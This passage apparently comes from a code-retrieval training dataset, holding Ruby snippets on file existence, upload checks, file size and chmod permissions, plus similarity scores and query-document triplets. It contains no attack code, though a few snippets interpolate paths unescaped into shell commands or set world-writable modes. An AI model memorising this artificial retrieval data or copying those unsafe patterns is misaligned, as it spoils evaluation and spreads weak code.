"def is_uploaded_file?(param)\n if param.respond_to?(:has_key?)\n [:filename, :type, :name, :tempfile, :head].each do |k|\n return false if !param.has_key?(k)\n end\n\n return true\n else\n return false\n end\n end",
"def can_upload?\n false\n end",
"def save_attachment?\n @save_attachment\n end",
"def remote_file_exists?(full_path)\n 'true' == capture(\"if [ -e #{full_path} ]; then echo 'true'; fi\").strip\n end",
"def exam_been_uploaded?\n self.split_pdf_logs.exists?\n end",
"def route_upload?\n request.post? && path.match(%r{^/#{doc}/upload$})\n end",
"def file_is_physically_present?\n field.file.size > 0\n end",
"def remote_file_exists?(full_path)\n 'true' == capture(\"if [ -e #{full_path} ]; then echo 'true'; fi\").strip\n end",
"def is_up?\n\t\tFile.exists?(@file)\n\tend",
"def is_new?\n !File.exists? @filename\n end",
"def has_photo?\n send('file_uploader_url').present?\n end",
"def file_name?\n !read_attribute('file_name').blank?\n end",
"def file?\n repos.stat(fs_path, revision).file?\n end",
"def local?\n @attributes[:local_path_to_file] && File.exist?(@attributes[:local_path_to_file])\n end",
"def can_upload?\n klass.model_class && mime_types && mime_types.keys.include?(file_mime_type)\n end",
"def already_being_processed?\n # if origional exists and destination has existed for 30s+\n # assume a previous run didn't get around to cleaning up the file\n if(File.exist?(@origional_file) && File.exist?(destination_file) && !recently_modified?(destination_file))\n $logger.info \"Found origional and transcoded file; moving origional\"\n move_origional_file\n return true\n end\n\n if File.exist? temp_file\n # if file has been modified in the last 30 seconds consider it in flight by another\n if recently_modified?(temp_file)\n $logger.info \" temp file modified recently (maybe by another process?) so skipping #{temp_file}\"\n return true\n else\n $logger.info \" temp file is old, deleting #{temp_file}\"\n File.delete temp_file\n end\n end\n false\n end",
"def has_photo?\n File.exists? photo_filename\n end",
"def has_photo?\n File.exists? photo_filename\n end",
"def has_photo?\n File.exists? photo_filename\n end",
"def failed_multipart_upload? response\n response.request_type == :complete_multipart_upload &&\n extract_error_details(response)\n end",
"def file_exists?(file)\n false\n end",
"def file?\n not identifier.blank?\n end",
"def exist?\n @local_path and @local_path.exist?\n end",
"def destination_file_exist?\n File.exist?(final_destination_path)\n end",
"def has_failed_upload?\n num_uploads = tasks.upload.count\n num_complete_uploads = tasks.upload.with_status(Task::COMPLETE).count\n num_valid_uploads = tasks.upload.valid.count # i.e. not-cancelled\n num_cancelled_uploads = num_uploads - num_valid_uploads\n\n # easy cases first\n return false if num_uploads == 0\n return false if num_complete_uploads == num_uploads\n return false if num_complete_uploads > 1\n return true if num_cancelled_uploads == num_uploads\n\n return false # conservative default\n end",
"def promote?(uploaded_file)\n uploaded_file && cache.uploaded?(uploaded_file)\n end",
"def tracked?( filename )\n\t\tstatus = self.status( filename ).first\n\t\treturn status&.tracked?\n\tend",
"def check\n # PS: Api#checkfiles throws exception when file cannot be found\n response = @api.checkfiles(@url).first rescue {}\n\n if response[:file_status] == :ok\n @fileid = response[:file_id]\n @filename ||= response[:file_name]\n @filesize = response[:file_size].to_i\n @server_id = response[:server_id]\n @short_host = response[:short_host]\n\n @remote_filename = @filename\n @filename = @local_filename || @remote_filename\n true\n else\n # TODO report errors according to actual file status\n @error = 'File not found'\n false\n end\n end",
"def exists?\n file.exists?\n end",
"def exist?\n# File.exist?(file_path)\n @bson\n end",
"def upload(_io, _path)\n false\n end",
"def buffer?\n @buffer && @buffer != \"\" && @buffer.original_filename.length > 0\n end",
"def exist?\n filepath.file? and filepath.readable?\n end",
"def file_uploaded_during_this_membership_term?\n return false unless current_member? || in_grace_period?\n\n if current_member?\n file_uploaded_on_or_after?(current_membership.first_day)\n else\n # is in_grace_period\n file_uploaded_on_or_after?(most_recent_membership.first_day) # FIXME is this correct?\n end\n end",
"def check_file_presence_on_update(params)\n if params[:financial_document][:file] == '{}' && params[:financial_document][:remove_file] == '1'\n errors.add(:file, I18n.t('errors.messages.blank'))\n return false\n else\n return true\n end\n end",
"def check( _upload )\n @original = _upload\n path = File.join( @uploadDir, @original )\n res = UploadUtils.filename( path )\n @uploadPath = res['path']\n @ext = res['ext']\n @filename = res['filename']\n end",
"def exist?\n @metadata_file_path.file? and @metadata_file_path.readable?\n end",
"def save\n create_ok = exists? ? true : create\n upload_ok = @unwritten_contents ? upload_new_content : true\n\n create_ok && upload_ok\n end",
"def changed?(uploaded_file)\n record.reload\n super\n end",
"def file_backed?\n @tempfile_in\n end",
"def path_is_unique\n return true if self.mp3.file.blank?\n\n # Guess what the audio path will be before it's actually saved there.\n # This is predictable for uploaded audio.\n # This could potentially fail if someone was uploading audio at exactly\n # midnight and some audio already existed for the next day.\n path = File.join(\n AUDIO_PATH_ROOT,\n self.store_dir,\n self.filename\n )\n\n if File.exist?(path)\n self.errors.add(:mp3, \"A file with that name already exists; \" \\\n \"please rename your local audio file and try again. \" \\\n \"If you are trying to replace the audio file, first delete the \" \\\n \"old audio.\")\n end\n end",
"def document_exists?(file_path, site_path=nil)\n file = split_path(file_path)\n sanitized_filename = sanitize_filename(file[:name])\n server_relative_url = \"#{site_path}#{file[:path]}/#{sanitized_filename}\"\n url = computed_web_api_url(site_path)\n ethon = ethon_easy_json_requester\n ethon.url = uri_escape \"#{url}GetFileByServerRelativeUrl('#{odata_escape_single_quote server_relative_url}')\"\n ethon.perform\n exists = false\n if ethon.response_code.eql? 200\n json_response = JSON.parse(ethon.response_body)\n if json_response['d'] &&\n json_response['d']['ServerRelativeUrl'].eql?(server_relative_url)\n exists = true\n end\n end\n return exists\n end",
"def accepts_file_upload?\n true\n end",
"def accepts_file_upload?\n true\n end",
"def accepts_file_upload?\n true\n end",
"def accepts_file_upload?\n true\n end",
"def accepts_file_upload?\n true\n end",
"def accepts_file_upload?\n true\n end",
"def attached?\n !!file\n end",
"def exists\n if @file && @mp3\n return true\n else\n return false\n end\n end",
"def multipart?\n false\n end",
"def file_exists\n end",
"def remote_file_exists?(full_path)\n capture(\"if [ -e #{full_path} ]; then echo 'true'; fi\").strip == 'true'\nend",
"def preview_file_ready?\n if !session[:preview_filename] || !File.exist?(session[:preview_filename])\n render nothing: true, status: :not_found\n end\n end",
"def resumable_upload? file #:nodoc:\n ::File.size?(file).to_i > Storage.resumable_threshold\n end",
"def file_exists?(path)\n parse_boolean(transport.execute(\"Test-Path #{escape(path)}\", :read_only => true).stdout)\n end",
"def pokemon_uploaded?(id = $pokemon_party.online_id)\n r = execute('hasPokemonUploaded', id: id)\n log_error(r) unless r == 'yes' || r == 'no'\n return r == 'yes'\n end",
"def exists?\n File.exist? file_path\n end",
"def exist?\n # shouldn't force network connections just to check if content exists\n # only check that the path is not empty\n !path.to_s.empty?\n end",
"def exist?\n # shouldn't force network connections just to check if content exists\n # only check that the path is not empty\n !path.to_s.empty?\n end",
"def upload(filename)\n begin\n file = File.open(\"#{filename}\")\n response = @client.put_file(\"/#{filename}\",file,true)\n return true\n rescue\n return false\n end\n end",
"def is_file?\n path = self.to_abs_path\n ((File.exist?(path)) &&\n (File.readable?(path)))\n end",
"def save\n valid_file? and successful_conversion?\n end",
"def exist?\n ::File.exist?(file_path)\n end",
"def has_file?(filename)\n\t\t!self.files.detect(filename).nil?\n\tend",
"def multipart?\n\t true\n\tend"
] | [
"0.7306589",
"0.71793115",
"0.6998457",
"0.697859",
"0.6914678",
"0.68744737",
"0.6836966",
"0.6771272",
"0.67272085",
"0.6706031",
"0.6674942",
"0.66317785",
"0.6540338",
"0.6505724",
"0.6500729",
"0.64993715",
"0.6482897",
"0.64757866",
"0.64682585",
"0.64680517",
"0.6436966",
"0.64275867",
"0.6422924",
"0.6422821",
"0.6417893",
"0.6416874",
"0.6406915",
"0.64011055",
"0.6345679",
"0.63422865",
"0.6336066",
"0.6326272",
"0.63097864",
"0.6303691",
"0.6299857",
"0.62795025",
"0.62730575",
"0.6251975",
"0.6247755",
"0.6238797",
"0.62335205",
"0.6229447",
"0.62262297",
"0.62242144",
"0.61977047",
"0.6189025",
"0.6188588",
"0.6187446",
"0.6187324",
"0.6183511",
"0.6167486",
"0.6167486",
"0.6167486",
"0.61586636",
"0.61553454",
"0.614627",
"0.61304903",
"0.61128604",
"0.6112048",
"0.61071765",
"0.61014855",
"0.6098062",
"0.6095145",
"0.6094285",
"0.6092494",
"0.60922754",
"0.6083251",
"0.6082192",
"0.6077209",
"0.6076459",
"0.6072657",
"0.6069661",
"0.60687536",
"0.6065513",
"0.6059719",
"0.6051133",
"0.6045152",
"0.6045152",
"0.6045152",
"0.6045152",
"0.6045152",
"0.6045152",
"0.6030757",
"0.60281897",
"0.6025328",
"0.6011826",
"0.60110855",
"0.6004728",
"0.6002651",
"0.5996182",
"0.599585",
"0.59945846",
"0.59898096",
"0.59898096",
"0.5986421",
"0.59832853",
"0.59831417",
"0.5980766",
"0.597195",
"0.59694785"
] | 0.66961014 | 10 |
Returns the size of the uploaded file in bytes. Returns +nil+ if no file exists. | def filesize
file_exists? ? File.size(full_path) : nil
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def size\n file.try(:size) || 0\n end",
"def size\n # return @file.size if @file.respond_to?(:size)\n File.size(self.path) rescue 0\n end",
"def size\n @size ||= File.size(file)\n end",
"def size\n file.content_length\n end",
"def size\n file.size\n end",
"def size\n if is_path?\n exists? ? File.size(path) : 0\n elsif @file.respond_to?(:size)\n @file.size\n elsif path\n exists? ? File.size(path) : 0\n else\n 0\n end\n end",
"def size\n instance_read(:file_size) || (@queued_for_write[:original] && @queued_for_write[:original].size)\n end",
"def file_size\n @file_size ||= 0\n end",
"def file_size\n stream.size\n end",
"def size\n @size = File.size(self.path) unless @size\n @size\n end",
"def filesize\n if filesize_extent\n filesize_extent.bytes\n else\n nil\n end\n end",
"def file_size\n if @filename\n File.size(filename)\n elsif file.respond_to?(:size)\n file.size\n # :nocov:\n else\n file.seek(0, IO::SEEK_END) && file.pos\n # :nocov:\n end\n end",
"def get_file_size\n file = Storage.get_file(ENV['AWS_S3_DIR_PAGES'], self.issue_id, self.filename )\n return file.content_length\n end",
"def size\n File.size(@filename)\n end",
"def file_size\n self.file_file_size\n end",
"def data_size\n File.size(file_path)\n end",
"def data_size\n File.size(file_path)\n end",
"def file_size(file_name)\n size = File.size?(file_name)\n size = 0 if size.nil?\n LoggerHelper.print_to_log(\"Size of file '#{file_name}' is #{size}\")\n size\n end",
"def getFileSize\r\n\t\t\t\t\treturn @fileSize\r\n\t\t\t\tend",
"def filesize\n File.size?(path)\n end",
"def size\n File.size(path)\n end",
"def size\n ::File.size(@path)\n end",
"def getFileSize()\n getRealFileSize(file) / MEGABYTE\n end",
"def size\n File.size(self)\n end",
"def size\n File.size(self)\n end",
"def size\n File.size(self)\n end",
"def size\n File.size(self)\n end",
"def size\n if [email protected]?\n @tmpfile.size # File#size calls rb_io_flush_raw()\n else\n File.size(@tmpfile.path)\n end\n end",
"def size\n raise MissingFileMapping.new if mapping.blank?\n raise NodesMissing.new if mapping.nodes.blank?\n\n retrieve_meta!\n\n return self.meta['file_size'].to_i\n end",
"def size\n @files.size\n end",
"def size\n File.size( fullpath )\n end",
"def size_in_bytes\n ( file_length * 16 ) / 8\n end",
"def original_file_size\n return @original_file_size\n end",
"def size\n data\n image.filesize\n end",
"def size\n if @tmpfile\n @tmpfile.flush\n @tmpfile.stat.size\n else\n 0\n end\n end",
"def size\n blob.size\n end",
"def size\n @size ||= @request[FSIZE].to_i\n end",
"def get_size(path)\n file = scope.get(path)\n InvalidPath.raise! {!file}\n return 0 if file.is_dir\n file.info[:size]\n end",
"def size\n chunk_size = nil\n File.open(@file_name) do |file|\n file.seek(@offset + 4, IO::SEEK_CUR)\n case @size_length\n when 4\n chunk_size = file.read(@size_length).unpack('L').first\n when 2\n chunk_size = file.read(@size_length).unpack('S').first\n else\n raise \"Can't decode size field of length #{@size_length}\"\n end\n end\n chunk_size + @data_size_correction\n end",
"def size\n read.bytesize\n end",
"def get_file_size(img_path)\n File.size(img_path)\nend",
"def size\n @file_list.size\n end",
"def size\n File.new(self.server_path).size\n end",
"def get_file_size!(f)\n size = File.size?(f)\n #print(\"#{size},\")\n end",
"def local_size\n return @local_size if defined?(@local_size)\n @local_size = File.size(\"#{resource[:name]}\")\n end",
"def file_size\n # pretty value\n attachments.order(position: 'asc').first.file_size\n rescue StandardError => exc\n logger.error(\"Message for the log file #{exc.message}\")\n 0\n end",
"def size_on_ftp(file_or_dir)\n path = file_or_dir.try(:path) || URI.split(file_or_dir.to_s)[5]\n with_connection do |ftp|\n begin\n ftp.size(path)\n rescue Net::FTPPermError\n 0\n end\n end\n end",
"def get_file_size(options)\n url = options.fetch(:url)\n headers = options.fetch(:headers)\n file_size = options.fetch(:file_size)\n\n case url.scheme\n when 'file'\n File.size(url.path)\n when /https?/\n response = Typhoeus.head(url.to_s, headers: headers)\n length_value = response.headers['Content-Length'] || file_size\n length_value.to_i\n else\n raise URI::BadURIError, \"Unknown URI scheme: #{url.scheme}\"\n end\n end",
"def edf_size\n File.size(@filename)\n end",
"def photo__size\r\nif File.exist?(self.photo__path)\r\n return File.size(self.photo__path)\r\nelse\r\n return self.photo ? self.photo.length : 0\r\nend\r\nend",
"def size\n raise NotImplementedError.new(\"size() must be implemented by subclasses of AbstractVersionedFile.\")\n end",
"def size_in_bytes\n files.inject(0) do |sum, f|\n path = File.join self.path, f\n sum + File.size(path)\n end\n end",
"def file_size; @io_size[@rio] end",
"def size\n @contents.bytes.size\n end",
"def bytesize\n @fd.stat.size\n end",
"def size(name)\n File.size(path(name))\n end",
"def get_size(path)\n read_size(@uri + path)\n end",
"def remote_size\n response = http_downloader.head(image_url)\n return nil unless response.status == 200 && response.content_length.present?\n\n response.content_length.to_i\n end",
"def size\n @io.size\n end",
"def content_length\n stat.size\n end",
"def get_file_size_in_mb\n mb = ::ApplicationController.helpers.number_to_human_size(self.file_size, precision: 2) \n return mb\n end",
"def size\n return self.body_data.size\n end",
"def file_size(remote_filename)\n rpath = File.join(self.remote_storage_dir, remote_filename)\n rfile = File.basename(rpath)\n rdir = File.dirname(rpath)\n\n Timeout::timeout(@@ftp_timeout) { entries = ftp.ls(rdir) }\n correct = entries.detect{ |entry| entry =~ /#{rfile}/ }\n\n Integer(correct.split[4])\n\n rescue Net::FTPPermError => nftpe\n nil\n end",
"def filesize; end",
"def size\n if persistent?\n filename.size\n else\n page_size = @db.send(:get_int_pragma, 'page_size')\n page_count = @db.send(:get_int_pragma, 'page_count')\n page_size * page_count\n end\n end",
"def size\n size = popen(%W(du -s), full_path).first.strip.to_i\n (size.to_f / 1024).round(2)\n end",
"def size\n headers[:content_length].to_i\n end",
"def size_in_byte\n return @size_in_byte\n end",
"def size\n headers[\"content-length\"].to_i\n end",
"def size\n content.size\n end",
"def size\n @size ||= @buffer.size\n end",
"def total_bytes\n self.files.map {|file| file[:size].to_i}.reduce(:+) # to_i handles any nil file sizes\n end",
"def length\n\t\treturn 0 if (!@fp)\n\t\tres=0\n\t\twhile ([email protected])\n\t\t\tMarshal.load(@fp)\n\t\t\tres +=1\n\t\tend\n\t\treturn res\n\tend",
"def size(filename)\n begin\n @ftp.size(filename)\n rescue\n return false\n end\n end",
"def compressed_file_size\n return @compressed_file_size\n end",
"def body_size\n request = $postgres.exec_prepared('wsfile_body_size', [self.id])\n request[0].map{|k,v| v.to_i || 0}.inject(:+)\n end",
"def size\n contents.size\n end",
"def size\n @content.bytesize\n end",
"def max_file_size\n 0\n end",
"def size\n @data.bytesize\n end",
"def get_attach_size\n\n return 0 if self.mail_attachments.nil? or self.mail_attachments.empty?\n\n sum = 0\n\n self.mail_attachments.each do |attach|\n sum += attach.size\n end\n\n return sum\n end",
"def size\n\t\treturn 0 if @setup.secure or @setup['no_cache'] or not FileTest::exist?( @setup['cache_path'] )\n\n\t\tFileTest.size( @setup['cache_path'] )\n\tend",
"def size(path)\n response = with_remote do |http|\n http.head(path)\n end\n response['Content-Length'].to_i\n end",
"def size\n @data ? @data.size : header.sh_size\n end",
"def size\n raise \"The wallet file #{path} doesn't exist\" unless File.exist?(path)\n File.size(path)\n end",
"def bytes\n @bytes = 0\n @files.each do |file|\n @bytes += File.new(\"#{file}\").size\n end\n @bytes\n end",
"def file_size(file_name, ignore_errors = false)\n dst_path = \"#{self.path}#{file_name}\"\n \n cmd = self.class.curr_host == host ? \n \"du -sb #{dst_path.shellescape}\" : \n \"ssh -q -oBatchMode=yes -oStrictHostKeyChecking=no #{self.host} \\\"du -sb #{dst_path.shellescape}\\\"\"\n r = ignore_errors ? `#{cmd} 2>/dev/null` : `#{cmd} 2>&1`\n raise r if $?.exitstatus != 0\n r.to_i\n end",
"def file_size(file_name, ignore_errors = false)\n dst_path = \"#{self.path}#{file_name}\"\n \n cmd = self.class.curr_host == host ? \n \"du -sb #{dst_path.shellescape}\" : \n \"ssh -q -oBatchMode=yes -oStrictHostKeyChecking=no #{self.host} \\\"du -sb #{dst_path.shellescape}\\\"\"\n r = ignore_errors ? `#{cmd} 2>/dev/null` : `#{cmd} 2>&1`\n raise r if $?.exitstatus != 0\n r.to_i\n end",
"def read_size(uri)\n return File.size(get_file_uri_path(uri)) if is_file_uri(uri)\n \n require 'net/http'\n require 'uri'\n u = URI.parse(uri)\n http = connect_to(u.host, u.port)\n path = (u.path == \"\") ? \"/\" : u.path\n resp = http.head(path)\n fail RemoteSourceException, \"HTTP Response #{resp.code}\" if resp.code !~ /^2/\n resp['content-length'].to_i\n end",
"def size\n File.stat(@repo.join(@path)).size\n end",
"def filesize\n @descriptive_detail.filesize\n end",
"def path_size (path)\n if Dir.exist? path\n o, e, s = Open3.capture3('du', '-s', '-b', path)\n o.split('/')[0].to_i\n end\n end",
"def size\n return 0 unless @spoolfile\n\n @spoolfile.flush\n @spoolfile.stat.size\n end",
"def size\n Integer(metadata[\"size\"]) if metadata[\"size\"]\n end",
"def get_size\n\t\treturn @size\n\tend",
"def test_size\r\n assert_respond_to(File, :size)\r\n assert_equal(17, File.size(@file))\r\n end",
"def size\n @semaphore.synchronize do\n return @hashed_storage.size\n end\n end",
"def set_file_size\n write_attribute(:file_size, File.size(file_name)) if (file_size.blank? and !file_name.blank?)\n end",
"def file_size_field\n Solrizer.solr_name(:file_size, CurationConcerns::FileSetIndexer::STORED_INTEGER)\n end",
"def compute_size\n return false if self.mp3_file.blank?\n self.size = self.mp3_file.size || 0\n end"
] | [
"0.8352511",
"0.7998247",
"0.77831376",
"0.77427554",
"0.76856",
"0.768396",
"0.76258296",
"0.7605367",
"0.7595493",
"0.7482904",
"0.7394585",
"0.73271537",
"0.73249555",
"0.7291562",
"0.7259073",
"0.7258775",
"0.7258775",
"0.7219015",
"0.72136396",
"0.7148106",
"0.71453327",
"0.707932",
"0.7071419",
"0.70443666",
"0.70443666",
"0.70443666",
"0.70443666",
"0.7013354",
"0.6992231",
"0.6972306",
"0.6922267",
"0.6888458",
"0.6870565",
"0.6842182",
"0.67349887",
"0.6707865",
"0.67074823",
"0.66832566",
"0.66784793",
"0.66696256",
"0.66558146",
"0.6613898",
"0.6583381",
"0.65416706",
"0.65181446",
"0.6516062",
"0.65118635",
"0.65091074",
"0.64909375",
"0.64856637",
"0.6395448",
"0.63854533",
"0.6375552",
"0.63678247",
"0.63622636",
"0.6357125",
"0.63571244",
"0.6357069",
"0.6347147",
"0.6335975",
"0.6327167",
"0.63255656",
"0.6325201",
"0.6323126",
"0.63221145",
"0.63195205",
"0.63158774",
"0.63148063",
"0.6314616",
"0.6312931",
"0.62911856",
"0.6284509",
"0.6261175",
"0.62547785",
"0.62415653",
"0.6230588",
"0.6230302",
"0.6225097",
"0.62202674",
"0.6215399",
"0.62149125",
"0.61981666",
"0.61896414",
"0.6181834",
"0.6179961",
"0.6130113",
"0.6124391",
"0.6124391",
"0.61216736",
"0.61163545",
"0.6109673",
"0.61073023",
"0.6078758",
"0.6070264",
"0.6062422",
"0.6058776",
"0.6055313",
"0.6052166",
"0.60413367",
"0.6039505"
] | 0.7986197 | 2 |
If there is a file saved on the server for the record, this method sets its permissions using the nix +chmod+ command. +permissions+ should be an octalformat integer. The default setting when saving files is 0644. | def chmod(permissions = nil)
permissions ||= self.class.upload_options[:chmod]
File.chmod(permissions, full_path) if file_exists?
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update_permissions_on_storage\n if @options[:perms]\n response = system(\"chmod -R o+w #{File.join(@path, 'storage')}\")\n if response\n say_success \"Updated permissions on storage/ directory.\"\n else\n say_failed \"Could not update permissions on storage/ directory.\"\n end\n end\n end",
"def mode=(value)\n File.chmod(Integer(\"0\" + value), @resource[:name])\n end",
"def permissions\n Sufia::GenericFile::Permissions.parse_permissions(params)\n @generic_file.update_attributes(params[:generic_file].reject { |k,v| %w{ Filedata Filename revision}.include? k})\n @generic_file.save\n Resque.enqueue(ContentUpdateEventJob, @generic_file.pid, current_user.user_key)\n redirect_to sufia.edit_generic_file_path, :notice => render_to_string(:partial=>'generic_files/asset_updated_flash', :locals => { :generic_file => @generic_file })\n end",
"def mode=(value)\n File.chmod(Integer(\"0#{value}\"), @resource[:name])\n end",
"def chmod(p0) end",
"def permissions=(value)\n @permissions = value\n end",
"def set_mode\n FileUtils.chmod options[:mode], options[:file] if options[:mode] && File.exist?(options[:file])\n\n return true if !backup_file\n FileUtils.chmod options[:mode], backup_file if File.exist? backup_file\n return true\n end",
"def chmod(mode) File.chmod(mode, path) end",
"def chmod(acl)\n if(acl == 777)\n mode = \"777\"\n end\n end",
"def chmod( mode ) File.chmod( mode, expand_tilde ) end",
"def chmod ctx, path, mode\n\n end",
"def set_mode\n # Why are we trying to set_mode when we don't even have a file?\n return false if !@file\n File.chmod @mode, @file if File.exist? @file\n\n # the backup file may not exist for whatever reason, lets not shit if it doesn't.\n return true if !backup_file\n File.chmod @mode, backup_file if File.exist? backup_file\n true\n end",
"def FileModesOwnership\n\tarquivo = File.new(\"arquivo_novo.txt\", \"w\")\n\tarquivo.chmod(0755)\n\tarquivo.close()\nend",
"def chmod(file, mode)\n if File.stat(file).mode != mode\n FileUtils.chmod(mode, file, :verbose => verbose?) \n end\n end",
"def set_permissions(*args)\n self.permissions = {}\n args.each do | permission |\n raise InvalidPermissionError.new(\"Permission #{permission} is invalid.\") unless ALLOWED_PERMISSIONS.include?(permission)\n self.permissions[permission] = true\n end\n end",
"def set_file_priv()\n FileUtils.chmod 0644, @setting_file_path\n FileUtils.chmod 0644, @root_cert_kc_path\n end",
"def set_mode\n chmod = command? 'chmod'\n find = command? 'find'\n\n return unless chmod && find\n\n {fmode: 'f', dmode: 'd'}.each do |k, v|\n next if send(k).nil?\n cmd = [find, destination_path, '-type', v, '-exec']\n cmd.concat [chmod, send(k).to_s(8), '{}', '+']\n logger.debug { \"Running command: #{cmd.join ' '}\" }\n system(*cmd)\n end\n end",
"def set_mode\n if (mode = target_mode) && (mode != (stat.mode & 007777))\n File.chmod(target_mode, file)\n Chef::Log.info(\"#{log_string} mode changed to #{mode.to_s(8)}\")\n modified\n end\n end",
"def add(*permissions)\n permissions.flatten!\n control_definitions(permissions)\n permissions.each do |permission|\n new_permission = defined_permissions[permission]\n @permissions_integer += new_permission unless include?(permission)\n end\n sync_with_owner\n end",
"def chmod(mode, options={})\n #list = list.to_a\n fileutils.chmod(mode, list, options)\n end",
"def set_permissions\n return if @permissions_set\n\n @permissions_set = true\n resource[:configure_permission] ||= configure_permission\n resource[:read_permission] ||= read_permission\n resource[:write_permission] ||= write_permission\n rabbitmqctl(\n 'set_permissions',\n '-p', should_vhost,\n should_user,\n resource[:configure_permission],\n resource[:write_permission],\n resource[:read_permission]\n )\n end",
"def set_permissions(file, perms)\n # Check local filesystem to see if it supports ACL's. If not, bail early\n # because the GetFileSecurity function will not fail on an unsupported FS.\n unless supports_acls?(file)\n raise ArgumentError, \"Filesystem does not implement ACL support\"\n end\n\n wide_file = string_check(file).wincode\n raise TypeError unless perms.kind_of?(Hash)\n\n sec_desc = FFI::MemoryPointer.new(:pointer, SECURITY_DESCRIPTOR_MIN_LENGTH)\n\n unless InitializeSecurityDescriptor(sec_desc, 1)\n raise SystemCallError.new(\"InitializeSecurityDescriptor\", FFI.errno)\n end\n\n acl_new = FFI::MemoryPointer.new(ACL, 100)\n\n unless InitializeAcl(acl_new, acl_new.size, ACL_REVISION2)\n raise SystemCallError.new(\"InitializeAcl\", FFI.errno)\n end\n\n perms.each{ |account, mask|\n next if mask.nil?\n\n # reset account_rights for each entry in perms:\n account_rights = 0\n\n server, account = account.split(\"\\\\\")\n\n if ['BUILTIN', 'NT AUTHORITY'].include?(server.upcase)\n wide_server = nil\n elsif account.nil?\n wide_server = nil\n account = server\n else\n wide_server = server.wincode\n end\n\n wide_account = account.wincode\n\n sid = FFI::MemoryPointer.new(:uchar, 1024)\n sid_size = FFI::MemoryPointer.new(:ulong)\n sid_size.write_ulong(sid.size)\n\n domain = FFI::MemoryPointer.new(:uchar, 260)\n domain_size = FFI::MemoryPointer.new(:ulong)\n domain_size.write_ulong(domain.size)\n\n use_ptr = FFI::MemoryPointer.new(:ulong)\n\n val = LookupAccountNameW(\n wide_server,\n wide_account,\n sid,\n sid_size,\n domain,\n domain_size,\n use_ptr\n )\n\n raise SystemCallError.new(\"LookupAccountName\", FFI.errno) unless val\n\n all_ace = ACCESS_ALLOWED_ACE2.new\n\n val = CopySid(\n ALLOW_ACE_LENGTH - ACCESS_ALLOWED_ACE.size,\n all_ace.to_ptr+8,\n sid\n )\n\n raise SystemCallError.new(\"CopySid\", FFI.errno) unless val\n\n if (GENERIC_ALL & mask).nonzero?\n account_rights = GENERIC_ALL & mask\n elsif (GENERIC_RIGHTS_CHK & mask).nonzero?\n account_rights = GENERIC_RIGHTS_MASK & mask\n else\n # Do nothing, leave it set to zero.\n end\n\n all_ace[:Header][:AceFlags] = INHERIT_ONLY_ACE | OBJECT_INHERIT_ACE\n\n 2.times{\n if account_rights != 0\n all_ace[:Header][:AceSize] = 8 + GetLengthSid(sid)\n all_ace[:Mask] = account_rights\n\n val = AddAce(\n acl_new,\n ACL_REVISION2,\n MAXDWORD,\n all_ace,\n all_ace[:Header][:AceSize]\n )\n\n raise SystemCallError.new(\"AddAce\", FFI.errno) unless val\n\n all_ace[:Header][:AceFlags] = CONTAINER_INHERIT_ACE\n else\n all_ace[:Header][:AceFlags] = 0\n end\n\n account_rights = REST_RIGHTS_MASK & mask\n }\n }\n\n unless SetSecurityDescriptorDacl(sec_desc, 1, acl_new, 0)\n raise SystemCallError.new(\"SetSecurityDescriptorDacl\", FFI.errno)\n end\n\n unless SetFileSecurityW(wide_file, DACL_SECURITY_INFORMATION, sec_desc)\n raise SystemCallError.new(\"SetFileSecurity\", FFI.errno)\n end\n\n self\n end",
"def chmod\n raise ParamsError.new(@params) if @params.nil? # PERMISSIONS cannot be nil, but database not checking this\n\n IONe.new($client, $db).UpdateAnsiblePlaybook(\"id\" => @body['id'], \"extra_data\" => @body['extra_data'].merge(\"PERMISSIONS\" => @params))\n nil\n end",
"def setable_permissions\n setable_permissions = Erp::AccessControl.permissions - Erp::AccessControl.public_permissions\n setable_permissions -= Erp::AccessControl.members_only_permissions if builtin == BUILTIN_NON_MEMBER\n setable_permissions -= Erp::AccessControl.loggedin_only_permissions if builtin == BUILTIN_ANONYMOUS\n setable_permissions\n end",
"def chmod(mode = nil)\n return unless mode\n begin\n Integer mode\n mode = Integer mode.size == 3 ? \"0#{mode}\" : mode\n rescue ArgumentError\n end\n FileUtils.chmod mode, selected_items.map(&:path)\n ls\n end",
"def chmod(file)\n mode = options[:mode]\n return unless mode\n\n FileUtils.chmod(mode, file)\n end",
"def files filename,attrib={}\n\t\tif has_attrib? filename \n\t\t\teval(send('form_files',filename))\n\t\telse\n\t\t\toptions = map('files',check_pattern(attrib,filename))\n\t\t\t(owner,group,mode) = pop_options(options,:owner,:group,:mode)\n\t\t\tbegin\n\t\t\t\t\t# p [filename,owner,group,mode,options]\n if options[:shell]\n\t\t\t\t \tCfruby::FileOps.shell_chown_mod filename,owner,group,mode,options\n else\n\t\t\t\t\t Cfruby::FileOps.chown_mod filename,owner,group,mode,options\n end\n options[:shell] = nil\n\t\t\trescue Cfruby::FileFind::FileExistError\n\t\t\t\tCfruby.controller.inform('verbose', \"Can not chmod on non-existing file #{filename}\")\n\t\t\tend\n\t\tend\n\tend",
"def permits=(permissions)\n # make a copy!\n @permissions = {}.merge(permissions)\n end",
"def permits=(permissions)\n # make a copy!\n @permissions = {}.merge(permissions)\n end",
"def chmod(mode, args, options)\n FileUtils.chmod_R(mode, args, **options)\n end",
"def chmod(mode, list, noop: nil, verbose: nil)\n list = fu_list(list)\n fu_output_message sprintf('chmod %s %s', mode_to_s(mode), list.join(' ')) if verbose\n return if noop\n list.each do |path|\n Entry_.new(path).chmod(fu_mode(mode, path))\n end\n end",
"def test_stat_modifications\n @client.write(@file, '')\n\n [0745, 0600, 0443].each do |mode|\n @client.chmod(@file, mode)\n assert_equal mode, @client.stat(@file, refresh: true).mode\n end\n end",
"def change_mode!\n chmod_params = [Integer(\"0\" + self.target_mode), self.target]\n\n if(File.symlink?(self.target) && (self.no_follow == 'both' || self.no_follow == 'chmod'))\n File.lchmod *chmod_params\n elsif(self.stat(:ftype) == 'directory' && (self.recursive == 'both' || self.recursive == 'chmod'))\n FileUtils.chmod_R *chmod_params\n else\n File.chmod *chmod_params\n end\n rescue NotImplementedError => ex\n WarningShot::PermissionResolver.logger.error(\"lchmod is not implemented on this machine, (disable nofollow).\")\n return false\n rescue Exception => ex\n WarningShot::PermissionResolver.logger.error(\"Unable to change mode for file: #{self.target}; Exception: #{ex.message}\")\n return false\n end",
"def chmod(mode, path)\n exec! \"chmod #{mode.to_s(8)} #{escape(expand_path(path))}\"\n end",
